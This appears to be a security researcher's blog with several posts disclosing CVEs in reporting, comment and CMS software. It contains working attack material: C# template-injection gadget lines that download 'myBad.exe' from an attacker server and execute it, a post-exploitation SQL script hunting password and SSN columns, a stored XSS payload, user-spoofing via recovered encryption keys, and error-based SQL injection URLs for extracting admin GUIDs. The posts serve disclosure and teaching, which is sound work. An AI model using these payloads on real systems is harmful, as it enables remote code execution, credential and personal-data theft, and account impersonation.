Saturday, April 16, 2022

Reporting Library RCE (Object Chaining) - CVE-2021-42777

 

Similar to CVE-2020-15865. However, this one was a little trickier because I could only execute chained C# commands that ultimately return an Object. This is a technique that can be used anywhere where user input is compiled by design, such as in template injection. In fact, hackers I've shared this story with had success using the concept across different languages and systems.

Information Disclosure to RCE 

This started with a low severity issue - a verbose error message from the application when I typed SQL junk into the Report Editor, looking for a SQL injection. The errors contained CS1503 (C# compilation errors) returned from Stimulsoft Reports 2013.1.1600.0, so I was confident there was an RCE available: 

 

So, after trying a few C# commands, I eventually I got errors like:

 C:\User\burninator\AppData\Local\Temp\klqskh4k.0.cs(578,74): error CS1502: The best overloaded method match for '****.ToString(object,object,bool)' has some invalid arguments: error CS1503: Argument 2: cannot convert from method group' to 'object' 

Bingo! I love to hear that something is being converted, and in a function we apparently have control over. This error is a wonderful window into how this works. I can tell from the error that it will only compile and execute successfully if we give it something that it can interpret as an Object. I tested this by sending {new Object()}, and it compiled without error! These work too but they're not that helpful (yet): 

{new System.Diagnostics.Process()}

{System.Math.Ceiling} 

{new System.Diagnostics.StackTrace(true).GetFrame(1).GetMethod()}

So, how can I weaponize this? Since this is a local thick client application, the first step is to figure out if it's going to execute these commands locally or on the application web server it's connected to. Surprise! It actually does both, since I was able to chain this with other functionality to make it launch server side AND locally. But first let's find proof that we can inject a malicious command... 

To find out, I read the manual. I actually READ the manual for the C# language. I know, I know. Disgusting. It's a taboo I didn't even do and would never have done when I was a developer. But it was important here, because I needed to find attack chains that would let me: 

1.)  execute a command on the local machine (pop calc.exe) 

2.) execute a command locally to make the remote server do an external DNS hit POC and then make it download/write/execute the file

It reminded me a lot of Object Deserialization gadget/widget chains in YsoSerial, which are well known internal commands or system objects that aid with command injection and execution (i.e.http://gursevkalra.blogspot.com/2016/01/ysoserial-commonscollections1-exploit.html ). But given my constraints, I had to create my own. If you aren't familiar with Objects in Object Oriented Programming languages, here's a quick rundown from my presentation on Object Attacks and how I used them in this context. The class definitions are from the C# manual:

{System.IO.File.ReadAllText(@"dontlook.txt")} 

(NOTE: the curly brackets are for the templating system, they're not valid C#)

{System.Net.WebRequest.Create("https://ATTACKSERVER:8000/myBad.exe").GetResponse().GetResponseStream()}

{System.Diagnostics.Process.Start("myBad.exe")}

That's how I got one of the weirdest shells ever.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42777

 

 

 

Also, now that I've written this out, I realize that by far the least fun part of this exploit was reading the C# manual to find interesting File IO and Networking gadget chains that return Objects... it was a lot of 2am nights. So I think I will end up automating that process, if something like it doesn't already exist.

Sunday, January 2, 2022

Post-Exploitation PII Search Across All Databases

This is an improvement on the previous PII finder scripts. Since often times production db servers have many databases, this will iterate over ALL DATABASES at once.

 

IMPORTANT: Run select name, database_id from sys.Databases to figure out which databases you are interested in querying, and adjust the counter accordingly. Most times, there's a handful of system databases that are unlikely to be useful for finding PII, so I have excluded the first four by default:

 

declare @dbname VARCHAR(60)
declare @counter int;


declare @maxnames int;


declare @piisearch VARCHAR(500);

set @maxnames = (select count(name) from sys.databases where database_id > 4); /*exclude system tables, will vary based on database*/


set @counter = 4; /*change it here too*/

while @counter < @maxnames
begin

set @dbname = (select name from sys.databases where database_id = @counter)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%SSN%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%pw%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%asswor%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%sername%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%DOB%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%license%'';'

execute(@piisearch)

set @counter = @counter + 1

/*print @dbname*/

End

 

Wednesday, July 28, 2021

OnyakTech Comments Pro - Broken Encryption and XSS CVE-2021-33484 and CVE-2021-33483

 

Broken Encryption / User Spoofing (CVE-2021-33484)

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33484

 

This exploit involves downloading an DotNetNuke module installer for OnyakTech Comments Pro 3.8 and de-compiling it with a tool like JustDecompile. NOTE: it is no longer available for download to my knowledge. 

Comments Pro is used for adding comment section functionality to a site.

After decompiling the installer, I find that one of the code files has an intriguing name like "encryption". This has an IV vector hardcoded in it, woo!

 

 

But where is the encryption key? We need both in order to do a nefarious enough POC. Well, luckily the requests made to the "CommentsService.ashx" endpoint involve two values, one of which is a JSON field called "key" and one called "displayname". Both appear to be encrypted: 


{

‘key’:‘jxc+ ... ||’,

‘atchid’:’2080’,

'userid':'sH8uVoo..|'

‘id’:’212’,

‘commentid’:’212’,

'displayname':'BhX7vunA8 ... BCNaG8sHo|',

'comment':'definitely fine don't worry about it',

‘func’:’addcomment’

}


I notice that when I throw junk values into the "displayname" value, it will throw an error like "Encryption: The input is not a valid Base-64 string", which is displayed where my display name should be:



This tells me I may be able to control decryption from the client side. So, if I wanted to decrypt it to see what the value of the key is - and I sure do - then I can make that the new value for "displayname" and, voila, there's the key displayed on the page!


 

Now that I have the IV, the key, and even the functions in the source code that show how the encryption and decryption is done, let's use it to do something we're not supposed to do. The goal : to spoof users. Even though the application required a login for most areas, this module seemed to ignore it, so I was able to add (spoofed) comments or add/delete my own or others' comments without authentication. By combining these issues with an unrelated user enumeration issue in DotNetNuke, I can encrypt any user's name and their user ID in the request to spoof a given user. It will even pull in their actual profile image (based on their user ID), so it will look legit.


I recently went to get beer with my local DEFCON group (in person - vax for hax!) When I described this out loud, I realized I was having a hard time thinking of a remediation for this type of attack in general. After all, "where to hide the encryption iv/ keys?" is an old problem. But the reverse engineer I was talking to mentioned that the Windows API has it's own encryption that an app could use. I really liked the idea, because it moves control to a deeper layer, to the OS instead of the app. In this particular case, I didn't compromise the server, so the trick of de-compiling would, theoretically, have been foiled by a move like that.


Stored XSS (CVE-2021-33483) 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33483


In the request to the "add comment" endpoint described above, drop in a double {{ to escape the JSON for your XSS payload. When another user visits the page containing the comment with the payload, it will execute.

 

i.e.


{

‘key’:‘jxc+ ... ||’,

‘atchid’:’2080’,

'userid':'sH8uVoo..|'

‘id’:’212’,

‘commentid’:’212’,

'displayname':'BhX7vunA8 ... BCNaG8sHo|',

'comment': '{{ <sCript>prompt(800)</sCript>',

‘func’:’addcomment’

}


Sunday, June 6, 2021

SQL Injection & Manual Data Exfiltration (For When SQLMap Won't Work)

This is a new payload that I'm hoping to incorporate into SQLMap soon (here's the feature request).

Assume a field is vulnerable to error-based SQL injection. SQLMap did a good job mapping out the column names and table names, but couldn't return any data rows. Through some trial and error, it becomes clear I can use a convert error and JOIN to display some data one record at a time (since multiple records will not display). Unfortunately, the WHERE and TOP clauses weren't working, so I had to find another way to integrate through the data rows, so I used LEAD() and LAG(). Hurray, I've got some varchar values coming through!

targetsite.com/vulnerablepage.do?badfield=select LEAD(CoolKeys,0,0) OVER (ORDER BY CoolKeys DESC) from CoolTableName join OtherTable on ArbitraryField=AnotherArbitraryField ...etc.

That was a good start...we get a conversion error on the value, so we get the value displayed, i.e.

Conversion failed when converting the varchar value 's3cretKey' to data type int

However, there was one thing I still needed. I really wanted to chain this with a privilege escalation vulnerability I'd found earlier, and if I could get all the GUID user IDs, including the administrators, then I could become a higher privileged user.

The problem was the SQL injection wasn't returning the GUIDs in my injected SELECT statement. It was a more generic SQL error, which isn't helpful. But I found I could use CONCAT to force the conversion error to show it!

targetsite.com/vulnerablepage.do?badfield=select concat(LEAD(GUIDData,0,0) OVER (ORDER BY GUIDData DESC),'hey') from CoolTableName join OtherTable on ArbitraryField=AnotherArbitraryField

 
Now the error will show: [GUID value]hey! Yay, I'm admin!


TL;DR:


1.) Use LEAD and LAG for situations where one row must be returned (and WHERE or TOP 1 etc. isn't working)

 

2.) Use CONCAT to force conversion errors to display uniqueidentifier-type data values through conversion errors


This all applies to bug bounty programs where SQLMap is not allowed, or if that kind of traffic gets you blocked too often.


Tuesday, April 13, 2021

CVE-2020-29592 and CVE-2020-29593 - Orchard CMS Unrestricted File Upload and XSS

 

Note: This is fixed in Orchard 1.10, this post is about Orchard 1.8.1.0.


CVE-2929-29592 - Unrestricted File Upload via Media Folder and TinyMCE HTML Editor:

https://user-images.githubusercontent.com/68610637/101294502-afb75c00-37e5-11eb-8bc4-9745a66e15f5.png

Not allowed because these are the allowed file types:

https://user-images.githubusercontent.com/68610637/101294729-741d9180-37e7-11eb-84e8-fee3143f34b1.png

But we can...

https://user-images.githubusercontent.com/68610637/101294742-88fa2500-37e7-11eb-8141-6092d7de5e6a.png

https://user-images.githubusercontent.com/68610637/101294750-91eaf680-37e7-11eb-9fd8-2b83ebb2a1c2.png 

 Success!

https://user-images.githubusercontent.com/68610637/101294764-a4653000-37e7-11eb-9ffb-9cc44fbb9589.png 

 

CVE-2020-29593 - XSS via Media Types Settings



 



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29592

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29593


RCE Using Recaf: an Awesome Java Decompiler/Recompiler

Recaf is super slick for reverse engineering and editing Java, I used it for arbitrary command injection (for RCE running as root!) last week (see previous post about the file handle lock). 

 

Anyway, about Recaf... I love that it auto-guesses the Java version. I used both the decompiler and hex editor, both excellent. Check it out:


https://www.coley.software/Recaf/

https://github.com/Col-E/Recaf

Hash Cracking with Rental AI GPUs

I've been doing a lot with fast.ai lately and really enjoying it. The worst part about AI is how long it takes to train a model, realize you messed up, change it, then do it again. A fast machine makes all the difference.

So when this guy was looking to do some hashcracking, and would have otherwise needed to borrow a bunch of physical graphic cards, I thought it would be a great time to suggest trying AI rental GPUs to do it. I think the implementation turned out great, check out his blog for details: 

https://www.scrawledsecurityblog.com/2020/11/cracking-password-hashes-on-cheap-how.html

Note: we couldn't really use fast.ai Gradient/paperspace, since those free tiers are public by default. Obviously that wouldn't be great security. So the article describes vast.ai (I know, I thought it was a typo at first!)